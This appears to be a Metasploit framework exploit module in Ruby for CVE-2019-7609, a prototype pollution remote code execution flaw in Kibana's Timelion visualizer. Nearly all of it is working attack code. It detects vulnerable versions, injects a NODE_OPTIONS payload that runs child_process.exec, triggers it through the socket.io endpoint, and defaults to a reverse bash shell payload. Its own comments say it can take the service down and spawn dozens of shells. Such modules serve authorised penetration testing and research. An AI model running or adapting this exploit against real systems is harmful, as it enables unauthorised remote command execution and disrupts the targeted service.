## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpClient prepend Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Kibana Timelion Prototype Pollution RCE', 'Description' => %q{ Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer. An attacker with access to the Timelion application could send a request that will attempt to execute javascript code. This leads to an arbitrary command execution with permissions of the Kibana process on the host system. Exploitation will require a service or system reboot to restore normal operation. The WFSDELAY parameter is crucial for this exploit. Setting it too high will cause MANY shells (50-100+), while setting it too low will cause no shells to be obtained. WFSDELAY of 10 for a docker image caused 6 shells. Tested against kibana 6.5.4. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'MichaƂ Bentkowski', # original PoC, analysis 'Gaetan Ferry' # more analysis ], 'References' => [ [ 'URL', 'https://github.com/mpgn/CVE-2019-7609'], [ 'URL', 'https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/'], [ 'CVE', '2019-7609'] ], 'Platform' => ['unix'], 'Privileged' => false, 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2019-10-30', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash', 'WfsDelay' => 10 # can take a minute to run }, 'Notes' => { # the webserver doesn't die, but certain requests no longer respond before a timeout # when things go poorly 'Stability' => [CRASH_SERVICE_DOWN], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ Opt::RPORT(5601), OptString.new('TARGETURI', [ true, 'The URI of the Kibana Application', '/']) ] ) end def check res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'kibana'), 'method' => 'GET', 'keep_cookies' => true ) return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil? return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200 # this pulls a big JSON blob that we need as it has the version unless %r{} =~ res.body return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version") end version_json = CGI.unescapeHTML(Regexp.last_match(1)) begin json_body = JSON.parse(version_json) rescue JSON::ParserError return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version") end return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version") if json_body['version'].nil? @version = json_body['version'] if Rex::Version.new(@version) < Rex::Version.new('5.6.15') || ( Rex::Version.new(@version) < Rex::Version.new('6.6.1') && Rex::Version.new(@version) >= Rex::Version.new('6.0.0') ) return CheckCode::Appears("Exploitable Version Detected: #{@version}") end CheckCode::Safe("Unexploitable Version Detected: #{@version}") end def get_xsrf vprint_status('Grabbing XSRF Token') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'bundles', 'canvas.bundle.js'), 'keep_cookies' => true ) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200 return Regexp.last_match(1) if /"kbn-xsrf":"([^"]+)"/ =~ res.body nil end def trigger_socket res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'socket.io/'), # trailing / is required 'keep_cookies' => true, 'headers' => { 'kbn-xsrf' => @xsrf }, 'vars_get' => { 'EIO' => 3, 'transport' => 'polling' } ) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200 end def send_injection(reset: false) if reset pload = ".es(*).props(label.__proto__.env.AAAA='').props(label.__proto__.env.NODE_OPTIONS='')" else # we leave a marker for our payload to avoid having .to_json process it and make it unusable by the host OS pload = %|.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("PAYLOADHERE");process.exit()//').props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')| end body = { 'sheet' => [pload], 'time' => { 'from' => 'now-15m', 'to' => 'now', 'mode' => 'quick', 'interval' => 'auto', 'timezone' => 'America/New_York' } } res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'api', 'timelion', 'run'), 'method' => 'POST', 'ctype' => 'application/json', 'headers' => { 'kbn-version' => @version }, 'data' => body.to_json.sub('PAYLOADHERE', payload.encoded.gsub("'", "\\\\\\\\\\\\\\\\'")), 'keep_cookies' => true ) Rex.sleep(2) # let this take hold, if we go too fast we dont get the shell fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200 end def exploit check if @version.nil? print_status('Polluting Prototype in Timelion') send_injection @xsrf = get_xsrf fail_with(Failure::UnexpectedReply, "#{peer} - Unable to grab XSRF token") if @xsrf.nil? print_status('Trigginger payload execution via canvas socket') trigger_socket print_status('Waiting for shells') Rex.sleep(datastore['WFSDELAY'] / 10) unless @reset_done print_status('Unsetting to stop raining shells from a lacerated kibana') send_injection(reset: true) trigger_socket end end def on_new_session(_client) return if @reset_done print_status('Unsetting to stop raining shells from a lacerated kibana') send_injection(reset: true) trigger_socket @reset_done = true ensure super end end